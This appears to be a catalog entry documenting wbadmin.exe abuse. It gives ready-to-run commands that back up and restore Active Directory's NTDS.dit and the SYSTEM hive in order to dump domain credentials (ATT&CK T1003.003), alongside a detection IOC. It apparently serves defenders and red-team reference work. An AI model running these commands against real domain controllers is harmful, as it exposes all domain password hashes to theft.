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Windows Backup Administration utility

Paths:

C:\Windows\System32\wbadmin.exe

Resources:

https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960

Detections:

IOC: wbadmin.exe command lines containing "NTDS" or "NTDS.dit"

Dump

Extract NTDS.dit and SYSTEM hive into backup virtual hard drive file (.vhdx)
```
wbadmin start backup -backupTarget:C:\temp\ -include:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -quiet
```
Use case
Snapshoting of Active Directory NTDS.dit database

Privileges required
Administrator, Backup Operators, SeBackupPrivilege

Operating systems
Windows Server

ATT&CK® technique
T1003.003
Restore a version of NTDS.dit and SYSTEM hive into file path. The command `wbadmin get versions` can be used to find version identifiers.
```
wbadmin start recovery -version:<VERSIONIDENTIFIER> -recoverytarget:C:\temp -itemtype:file -items:C:\Windows\NTDS\NTDS.dit,C:\Windows\System32\config\SYSTEM -notRestoreAcl -quiet
```
Use case
Dumping of Active Directory NTDS.dit database

Privileges required
Administrator, Backup Operators, SeBackupPrivilege

Operating systems
Windows Server

ATT&CK® technique
T1003.003